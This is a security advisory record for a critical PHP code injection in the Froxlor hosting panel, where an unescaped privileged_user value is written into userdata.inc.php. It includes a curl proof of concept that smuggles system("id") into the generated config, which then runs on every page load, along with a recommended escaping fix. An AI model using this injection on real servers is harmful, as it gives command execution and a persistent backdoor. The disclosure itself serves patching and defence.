{"id":"GHSA-gc9w-cc93-rjv8","summary":"Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)","details":"## Summary\n\n`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.\n\n## Details\n\nThe root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`:\n\n```php\n// lib/Froxlor/PhpHelper.php:475-487\nforeach ($array as $key =\u003e $value) {\n    if (!is_array($value)) {\n        if (is_bool($value)) {\n            $str .= self::tabPrefix($depth, sprintf(\"'%s' =\u003e %s,\\n\", $key, $value ? 'true' : 'false'));\n        } elseif (is_int($value)) {\n            $str .= self::tabPrefix($depth, \"'{$key}' =\u003e $value,\\n\");\n        } else {\n            if ($key == 'password') {\n                // special case for passwords (nowdoc)\n                $str .= self::tabPrefix($depth, \"'{$key}' =\u003e \u003c\u003c\u003c'EOT'\\n{$value}\\nEOT,\\n\");\n            } else {\n                // VULNERABLE: $value interpolated without escaping single quotes\n                $str .= self::tabPrefix($depth, \"'{$key}' =\u003e '{$value}',\\n\");\n            }\n        }\n    }\n}\n```\n\nNote that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including `user`, `caption`, and `caFile` — are written directly into single-quoted PHP string literals with no escaping.\n\nThe attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`):\n\n1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings`\n2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied\n3. `mysql_ca` is also read with no validation at line 86\n4. The values are placed into the `$sql_root` array at lines 150-160\n5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` → `parseArrayToString()`\n6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548)\n7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed\n\nThe generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`:\n\n```php\nrequire Froxlor::getInstallDir() . \"/lib/userdata.inc.php\";\n```\n\nThe `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387.\n\n## PoC\n\n**Step 1: Inject PHP code via MysqlServer.add API**\n\n```bash\ncurl -s -X POST https://froxlor.example/api.php \\\n  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"MysqlServer.add\",\n    \"params\": {\n      \"mysql_host\": \"127.0.0.1\",\n      \"mysql_port\": 3306,\n      \"privileged_user\": \"x'\\''.system(\\\"id\\\").'\\''\",\n      \"privileged_password\": \"anything\",\n      \"description\": \"test\",\n      \"test_connection\": 0\n    }\n  }'\n```\n\nThis writes the following into `lib/userdata.inc.php`:\n\n```php\n'user' =\u003e 'x'.system(\"id\").'',\n```\n\n**Step 2: Trigger code execution**\n\nAny subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system(\"id\")` as the web server user:\n\n```bash\ncurl -s https://froxlor.example/\n```\n\nThe `id` output will appear in the response (or can be captured via out-of-band methods for blind execution).\n\n**Step 3: Cleanup (attacker would also clean up)**\n\nThe injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed.\n\n## Impact\n\nAn admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:\n\n- **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`)\n- **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys\n- **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php`\n- **Persistent backdoor**: The injected code executes on every request, providing persistent access\n- **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel\n\nThe `description` field (validated with `REGEX_DESC_TEXT = /^[^\\0\\r\\n\u003c\u003e]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path.\n\n## Recommended Fix\n\nEscape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\\'` and `\\\\` are interpreted, so both must be escaped:\n\n```php\n// lib/Froxlor/PhpHelper.php:486\n// Before (vulnerable):\n$str .= self::tabPrefix($depth, \"'{$key}' =\u003e '{$value}',\\n\");\n\n// After (fixed) - escape backslashes first, then single quotes:\n$escaped = str_replace(['\\\\', \"'\"], ['\\\\\\\\', \"\\\\'\"], $value);\n$str .= self::tabPrefix($depth, \"'{$key}' =\u003e '{$escaped}',\\n\");\n```\n\nAlternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:\n\n```php\n// Apply nowdoc to all string values, not just passwords:\n$str .= self::tabPrefix($depth, \"'{$key}' =\u003e \u003c\u003c\u003c'EOT'\\n{$value}\\nEOT,\\n\");\n```\n\nAdditionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.","aliases":["CVE-2026-41229"],"modified":"2026-05-05T16:11:52.285427Z","published":"2026-04-16T00:50:00Z","database_specific":{"cwe_ids":["CWE-94"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-04-16T00:50:00Z","nvd_published_at":"2026-04-23T04:16:19Z"},"references":[{"type":"WEB","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41229"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae"},{"type":"PACKAGE","url":"https://github.com/froxlor/froxlor"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"}],"affected":[{"package":{"name":"froxlor/froxlor","ecosystem":"Packagist","purl":"pkg:composer/froxlor/froxlor"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.6"}]}],"versions":["0.10.0","0.10.0-rc1","0.10.0-rc2","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.17","0.10.18","0.10.19","0.10.2","0.10.20","0.10.21","0.10.22","0.10.23","0.10.23.1","0.10.24","0.10.25","0.10.26","0.10.27","0.10.28","0.10.29","0.10.29.1","0.10.3","0.10.30","0.10.31","0.10.32","0.10.33","0.10.34","0.10.34.1","0.10.35","0.10.35.1","0.10.36","0.10.37","0.10.38","0.10.38.1","0.10.38.2","0.10.38.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.0-beta1","2.1.0-beta2","2.1.0-rc1","2.1.0-rc2","2.1.0-rc3","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","2.2.0","2.2.0-rc1","2.2.0-rc2","2.2.0-rc3","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3.0","2.3.0-rc1","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.3.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-gc9w-cc93-rjv8/GHSA-gc9w-cc93-rjv8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"}]}